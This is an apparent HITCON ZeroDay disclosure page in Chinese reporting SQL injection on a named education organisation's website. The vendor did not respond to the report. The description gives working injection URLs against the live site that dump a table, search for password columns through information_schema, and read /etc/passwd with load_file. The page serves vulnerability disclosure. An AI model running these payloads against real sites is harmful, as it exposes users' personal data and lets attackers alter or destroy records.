偉文文教機構網站資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-00662
  •  發信 Vendor: 偉文文教機構網站
  • Title: 偉文文教機構網站資料庫注入漏洞
  • Introduction: 資料庫注入漏洞

處理狀態

目前狀態

公開
Last Update : 2018/07/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2018/05/09 19:59:36 : 新提交 (由 mitv 更新此狀態)
  • 2018/05/10 00:50:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/22 16:05:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/05/22 16:05:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/07/09 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-00662
  • 通報者:vtim9907 (mitv)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.way-to-win.com/newindex/info/index_hotnews_mini.php?ln=4&aid=0
http://www.way-to-win.com/newindex/service/?cataid=2&pid=40

敘述

多個頁面存在資料庫注入漏洞,上面並沒有列出全部的網址。

手動嘗試後,發現可以注入,但因為某些原因所以查不到 table 和 column,猜測可能是 server 的某磁碟空間滿了,所以 query 失敗,但透過一些資訊還是可以猜到 table name,還是可以查詢資訊:
http://www.way-to-win.com/newindex/info/index_hotnews_mini.php?ln=4&aid=0%27%20union%20select%201,class.*%20from%20class--%20-

圖片

過程中有發現 account table 裡有 password 資訊,但似乎是已經廢棄的 table,沒什麼重要資訊,猜測有用的 password 資訊可能在別的 database 裡的 table 裡面:
http://www.way-to-win.com/newindex/info/index_hotnews_mini.php?ln=4&aid=0%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,count(table_schema),14,15%20from%20information_schema.columns%20where%20column_name=%27password%27--%20-

圖片

因為可以注入 SQL 語句,所以可以做刪除 table 或上傳檔案的動作,不過沒仔細找有沒有 LFI 漏洞,所以沒有嘗試上傳檔案,但確定可以讀檔:
http://www.way-to-win.com/newindex/info/index_hotnews_mini.php?ln=4&aid=0%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,load_file(%27/etc/passwd%27),14,15%20from%20mysql.user%20--%20-

圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;